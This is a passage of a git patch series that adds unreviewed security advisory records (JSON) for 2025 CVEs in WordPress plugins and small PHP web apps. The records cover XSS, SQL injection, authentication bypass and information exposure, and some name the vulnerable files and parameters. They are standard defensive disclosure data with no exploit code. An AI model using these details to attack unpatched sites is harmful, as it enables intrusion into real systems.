+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8152"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.trac.wordpress.org/browser/easy-sticky-sidebar/trunk/inc/ClassActions.php#L29"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.trac.wordpress.org/browser/easy-sticky-sidebar/trunk/inc/ClassActions.php#L52"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3336867%40easy-sticky-sidebar&new=3336867%40easy-sticky-sidebar&sfp_email=&sfph_mail="
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/981ed50b-8f03-4320-99f0-3f53f7b2fc44?source=cve"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-862"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T08:15:26Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-wqwr-pr9c-fc8f/GHSA-wqwr-pr9c-fc8f.json b/advisories/unreviewed/2025/08/GHSA-wqwr-pr9c-fc8f/GHSA-wqwr-pr9c-fc8f.json
new file mode 100644
index 0000000000000..3791c2399d096
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-wqwr-pr9c-fc8f/GHSA-wqwr-pr9c-fc8f.json
@@ -0,0 +1,44 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-wqwr-pr9c-fc8f",
+ "modified": "2025-08-02T09:30:20Z",
+ "published": "2025-08-02T09:30:20Z",
+ "aliases": [
+ "CVE-2025-8400"
+ ],
+ "details": "The Image Gallery plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in all versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8400"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.svn.wordpress.org/bee-quick-gallery/trunk/includes/bee-quick-gallery-functions.php"
+ },
+ {
+ "type": "WEB",
+ "url": "https://wordpress.org/plugins/bee-quick-gallery/#developers"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ef52026b-1bfc-481c-8eb7-511d1910a35e?source=cve"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T09:15:48Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-wxh5-h8r6-4qxv/GHSA-wxh5-h8r6-4qxv.json b/advisories/unreviewed/2025/08/GHSA-wxh5-h8r6-4qxv/GHSA-wxh5-h8r6-4qxv.json
new file mode 100644
index 0000000000000..ad68800a254c7
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-wxh5-h8r6-4qxv/GHSA-wxh5-h8r6-4qxv.json
@@ -0,0 +1,44 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-wxh5-h8r6-4qxv",
+ "modified": "2025-08-02T09:30:20Z",
+ "published": "2025-08-02T09:30:20Z",
+ "aliases": [
+ "CVE-2025-8317"
+ ],
+ "details": "The Custom Word Cloud plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘angle’ parameter in all versions up to, and including, 0.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8317"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.svn.wordpress.org/custom-word-cloud/trunk/custom-word-cloud.php"
+ },
+ {
+ "type": "WEB",
+ "url": "https://wordpress.org/plugins/custom-word-cloud/#developers"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f153a0ce-c967-43ed-97be-901ea7dcd12b?source=cve"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T08:15:27Z"
+ }
+}
\ No newline at end of file
From 01f5ea98b5cca500846c6d16a26b6abb087bf72b Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Sat, 2 Aug 2025 12:32:12 +0000
Subject: [PATCH 312/323] Publish Advisories
GHSA-8cv8-4354-xjv8
GHSA-fv5p-jgq7-gfm9
GHSA-j2v9-cq8f-8ch7
GHSA-r65w-xc5g-2hpm
GHSA-wr6h-564j-w633
---
.../GHSA-8cv8-4354-xjv8.json | 56 +++++++++++++++++++
.../GHSA-fv5p-jgq7-gfm9.json | 44 +++++++++++++++
.../GHSA-j2v9-cq8f-8ch7.json | 40 +++++++++++++
.../GHSA-r65w-xc5g-2hpm.json | 56 +++++++++++++++++++
.../GHSA-wr6h-564j-w633.json | 44 +++++++++++++++
5 files changed, 240 insertions(+)
create mode 100644 advisories/unreviewed/2025/08/GHSA-8cv8-4354-xjv8/GHSA-8cv8-4354-xjv8.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-fv5p-jgq7-gfm9/GHSA-fv5p-jgq7-gfm9.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-j2v9-cq8f-8ch7/GHSA-j2v9-cq8f-8ch7.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-r65w-xc5g-2hpm/GHSA-r65w-xc5g-2hpm.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-wr6h-564j-w633/GHSA-wr6h-564j-w633.json
diff --git a/advisories/unreviewed/2025/08/GHSA-8cv8-4354-xjv8/GHSA-8cv8-4354-xjv8.json b/advisories/unreviewed/2025/08/GHSA-8cv8-4354-xjv8/GHSA-8cv8-4354-xjv8.json
new file mode 100644
index 0000000000000..9b2f461a268d4
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-8cv8-4354-xjv8/GHSA-8cv8-4354-xjv8.json
@@ -0,0 +1,56 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-8cv8-4354-xjv8",
+ "modified": "2025-08-02T12:30:32Z",
+ "published": "2025-08-02T12:30:32Z",
+ "aliases": [
+ "CVE-2025-8467"
+ ],
+ "details": "A vulnerability was found in code-projects Wazifa System 1.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /controllers/regcontrol.php. The manipulation of the argument Username leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8467"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/wllovemy/cve/issues/12"
+ },
+ {
+ "type": "WEB",
+ "url": "https://code-projects.org"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318517"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318517"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.625786"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-74"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T11:15:25Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-fv5p-jgq7-gfm9/GHSA-fv5p-jgq7-gfm9.json b/advisories/unreviewed/2025/08/GHSA-fv5p-jgq7-gfm9/GHSA-fv5p-jgq7-gfm9.json
new file mode 100644
index 0000000000000..be560b42062b5
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-fv5p-jgq7-gfm9/GHSA-fv5p-jgq7-gfm9.json
@@ -0,0 +1,44 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-fv5p-jgq7-gfm9",
+ "modified": "2025-08-02T12:30:31Z",
+ "published": "2025-08-02T12:30:31Z",
+ "aliases": [
+ "CVE-2025-6722"
+ ],
+ "details": "The BitFire Security – Firewall, WAF, Bot/Spam Blocker, Login Security plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.5 via the bitfire_* directory that automatically gets created and stores potentially sensitive files without any access restrictions. This makes it possible for unauthenticated attackers to extract sensitive data from various files like config.ini, debug.log, and more.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6722"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3334399%40bitfire&new=3334399%40bitfire&sfp_email=&sfph_mail="
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3335461%40bitfire&new=3335461%40bitfire&sfp_email=&sfph_mail="
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/72320980-733d-4fe6-9a13-39c476b77298?source=cve"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-200"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T10:15:25Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-j2v9-cq8f-8ch7/GHSA-j2v9-cq8f-8ch7.json b/advisories/unreviewed/2025/08/GHSA-j2v9-cq8f-8ch7/GHSA-j2v9-cq8f-8ch7.json
new file mode 100644
index 0000000000000..f40667b3cb21f
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-j2v9-cq8f-8ch7/GHSA-j2v9-cq8f-8ch7.json
@@ -0,0 +1,40 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-j2v9-cq8f-8ch7",
+ "modified": "2025-08-02T12:30:32Z",
+ "published": "2025-08-02T12:30:31Z",
+ "aliases": [
+ "CVE-2025-7710"
+ ],
+ "details": "The Brave Conversion Engine (PRO) plugin for WordPress is vulnerable to Authentication Bypass in all versions up to, and including, 0.7.7. This is due to the plugin not properly restricting a claimed identity while authenticating with Facebook. This makes it possible for unauthenticated attackers to log in as other users, including administrators.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7710"
+ },
+ {
+ "type": "WEB",
+ "url": "https://getbrave.io/brave-pro-changelog"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/604249c6-b23a-40e9-984d-2014f5c97249?source=cve"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-288"
+ ],
+ "severity": "CRITICAL",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T12:15:28Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-r65w-xc5g-2hpm/GHSA-r65w-xc5g-2hpm.json b/advisories/unreviewed/2025/08/GHSA-r65w-xc5g-2hpm/GHSA-r65w-xc5g-2hpm.json
new file mode 100644
index 0000000000000..4e1af6b17bcf7
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-r65w-xc5g-2hpm/GHSA-r65w-xc5g-2hpm.json
@@ -0,0 +1,56 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-r65w-xc5g-2hpm",
+ "modified": "2025-08-02T12:30:31Z",
+ "published": "2025-08-02T12:30:31Z",
+ "aliases": [
+ "CVE-2025-7500"
+ ],
+ "details": "The Ocean Social Sharing plugin for WordPress is vulnerable to Stored Cross-Site Scripting via social icon titles in all versions up to, and including, 2.2.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7500"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.trac.wordpress.org/browser/ocean-social-sharing/tags/2.2.1/template/social-share.php#L100"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.trac.wordpress.org/browser/ocean-social-sharing/tags/2.2.1/template/social-share.php#L176"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.trac.wordpress.org/browser/ocean-social-sharing/tags/2.2.1/template/social-share.php#L262"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.trac.wordpress.org/browser/ocean-social-sharing/tags/2.2.1/template/social-share.php#L84"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3331993%40ocean-social-sharing&new=3331993%40ocean-social-sharing&sfp_email=&sfph_mail="
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7683e708-b7cb-444e-9069-f33e4ef3ac76?source=cve"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T12:15:28Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-wr6h-564j-w633/GHSA-wr6h-564j-w633.json b/advisories/unreviewed/2025/08/GHSA-wr6h-564j-w633/GHSA-wr6h-564j-w633.json
new file mode 100644
index 0000000000000..ac1887add03cd
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-wr6h-564j-w633/GHSA-wr6h-564j-w633.json
@@ -0,0 +1,44 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-wr6h-564j-w633",
+ "modified": "2025-08-02T12:30:31Z",
+ "published": "2025-08-02T12:30:31Z",
+ "aliases": [
+ "CVE-2025-8488"
+ ],
+ "details": "The Ultimate Addons for Elementor (Formerly Elementor Header & Footer Builder) plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the save_hfe_compatibility_option_callback ()function in all versions up to, and including, 2.4.6. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update the compatibility option setting.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8488"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.trac.wordpress.org/browser/header-footer-elementor/tags/2.4.6/admin/class-hfe-addons-actions.php#L494"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.trac.wordpress.org/browser/header-footer-elementor/tags/2.4.7/admin/class-hfe-addons-actions.php#L525"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a4b847b5-9deb-41c4-b976-725249e0098e?source=cve"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-862"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T10:15:27Z"
+ }
+}
\ No newline at end of file
From 4eba663848a4fa46dc6eb367fc42f529599796e1 Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Sat, 2 Aug 2025 15:32:12 +0000
Subject: [PATCH 313/323] Publish GHSA-237j-pjh8-mjr2
---
.../GHSA-237j-pjh8-mjr2.json | 56 +++++++++++++++++++
1 file changed, 56 insertions(+)
create mode 100644 advisories/unreviewed/2025/08/GHSA-237j-pjh8-mjr2/GHSA-237j-pjh8-mjr2.json
diff --git a/advisories/unreviewed/2025/08/GHSA-237j-pjh8-mjr2/GHSA-237j-pjh8-mjr2.json b/advisories/unreviewed/2025/08/GHSA-237j-pjh8-mjr2/GHSA-237j-pjh8-mjr2.json
new file mode 100644
index 0000000000000..f67ffe7aaf9b9
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-237j-pjh8-mjr2/GHSA-237j-pjh8-mjr2.json
@@ -0,0 +1,56 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-237j-pjh8-mjr2",
+ "modified": "2025-08-02T15:30:33Z",
+ "published": "2025-08-02T15:30:33Z",
+ "aliases": [
+ "CVE-2025-8468"
+ ],
+ "details": "A vulnerability was found in code-projects Wazifa System 1.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file /controllers/reset.php. The manipulation of the argument email leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8468"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/wllovemy/cve/issues/13"
+ },
+ {
+ "type": "WEB",
+ "url": "https://code-projects.org"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318518"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318518"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.625787"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-74"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T15:15:26Z"
+ }
+}
\ No newline at end of file
From 49e2062c0d1e5e5eac8ca6cd38b67d834cf51a99 Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Sat, 2 Aug 2025 18:32:47 +0000
Subject: [PATCH 314/323] Publish Advisories
GHSA-m8rh-p96p-339m
GHSA-q9q5-8h52-gjgq
---
.../GHSA-m8rh-p96p-339m.json | 56 +++++++++++++++++++
.../GHSA-q9q5-8h52-gjgq.json | 56 +++++++++++++++++++
2 files changed, 112 insertions(+)
create mode 100644 advisories/unreviewed/2025/08/GHSA-m8rh-p96p-339m/GHSA-m8rh-p96p-339m.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-q9q5-8h52-gjgq/GHSA-q9q5-8h52-gjgq.json
diff --git a/advisories/unreviewed/2025/08/GHSA-m8rh-p96p-339m/GHSA-m8rh-p96p-339m.json b/advisories/unreviewed/2025/08/GHSA-m8rh-p96p-339m/GHSA-m8rh-p96p-339m.json
new file mode 100644
index 0000000000000..68e6eb4f8e21a
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-m8rh-p96p-339m/GHSA-m8rh-p96p-339m.json
@@ -0,0 +1,56 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-m8rh-p96p-339m",
+ "modified": "2025-08-02T18:30:33Z",
+ "published": "2025-08-02T18:30:33Z",
+ "aliases": [
+ "CVE-2025-8469"
+ ],
+ "details": "A vulnerability classified as critical has been found in SourceCodester Online Hotel Reservation System 1.0. This affects an unknown part of the file /admin/deletegallery.php. The manipulation of the argument ID leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8469"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/K1nakoo/tmp01/blob/main/tmp01.md"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318519"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318519"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.626017"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.sourcecodester.com"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-74"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T17:15:26Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-q9q5-8h52-gjgq/GHSA-q9q5-8h52-gjgq.json b/advisories/unreviewed/2025/08/GHSA-q9q5-8h52-gjgq/GHSA-q9q5-8h52-gjgq.json
new file mode 100644
index 0000000000000..761334f4260c4
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-q9q5-8h52-gjgq/GHSA-q9q5-8h52-gjgq.json
@@ -0,0 +1,56 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-q9q5-8h52-gjgq",
+ "modified": "2025-08-02T18:30:33Z",
+ "published": "2025-08-02T18:30:33Z",
+ "aliases": [
+ "CVE-2025-8470"
+ ],
+ "details": "A vulnerability classified as critical was found in SourceCodester Online Hotel Reservation System 1.0. This vulnerability affects unknown code of the file /admin/deleteroom.php. The manipulation of the argument ID leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8470"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/K1nakoo/tmp02/blob/main/tmp02.md"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318520"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318520"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.626018"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.sourcecodester.com"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-74"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T18:15:26Z"
+ }
+}
\ No newline at end of file
From d4396306eee6157f5861ec27c13e6b3e127a1479 Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Sat, 2 Aug 2025 21:32:38 +0000
Subject: [PATCH 315/323] Publish GHSA-h62v-7hxx-hqwr
---
.../GHSA-h62v-7hxx-hqwr.json | 52 +++++++++++++++++++
1 file changed, 52 insertions(+)
create mode 100644 advisories/unreviewed/2025/08/GHSA-h62v-7hxx-hqwr/GHSA-h62v-7hxx-hqwr.json
diff --git a/advisories/unreviewed/2025/08/GHSA-h62v-7hxx-hqwr/GHSA-h62v-7hxx-hqwr.json b/advisories/unreviewed/2025/08/GHSA-h62v-7hxx-hqwr/GHSA-h62v-7hxx-hqwr.json
new file mode 100644
index 0000000000000..a41cf128b6472
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-h62v-7hxx-hqwr/GHSA-h62v-7hxx-hqwr.json
@@ -0,0 +1,52 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-h62v-7hxx-hqwr",
+ "modified": "2025-08-02T21:30:32Z",
+ "published": "2025-08-02T21:30:32Z",
+ "aliases": [
+ "CVE-2025-8471"
+ ],
+ "details": "A vulnerability, which was classified as critical, has been found in projectworlds Online Admission System 1.0. This issue affects some unknown processing of the file /adminlogin.php. The manipulation of the argument a_id leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8471"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/tqlfront/CVE/issues/1"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318521"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318521"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.626115"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-74"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T19:15:25Z"
+ }
+}
\ No newline at end of file
From 7b2890609874be2d554f13f3314047d382d9dfc3 Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Sun, 3 Aug 2025 00:32:02 +0000
Subject: [PATCH 316/323] Publish Advisories
GHSA-236c-586c-7q48
GHSA-25cp-2qqr-6v8p
GHSA-2729-wmg7-hchx
GHSA-3hjh-cjx8-8c83
GHSA-58v5-wj5r-7vmx
GHSA-6xf6-2p9f-2577
GHSA-8vfh-pg44-pprg
GHSA-f97g-94hp-59h9
GHSA-fr49-r522-pmcp
GHSA-gxcf-fvmv-78f7
GHSA-h7cw-8w5m-2f29
GHSA-mg2v-x7gv-c9jr
GHSA-mqv4-xc9c-8q9q
GHSA-ppcc-852j-px73
GHSA-q62g-686x-2rh3
GHSA-qmwr-6rr6-wj8m
GHSA-wrxq-9fmf-hq5j
---
.../GHSA-236c-586c-7q48.json | 52 +++++++++++++++++
.../GHSA-25cp-2qqr-6v8p.json | 36 ++++++++++++
.../GHSA-2729-wmg7-hchx.json | 36 ++++++++++++
.../GHSA-3hjh-cjx8-8c83.json | 48 ++++++++++++++++
.../GHSA-58v5-wj5r-7vmx.json | 36 ++++++++++++
.../GHSA-6xf6-2p9f-2577.json | 56 +++++++++++++++++++
.../GHSA-8vfh-pg44-pprg.json | 40 +++++++++++++
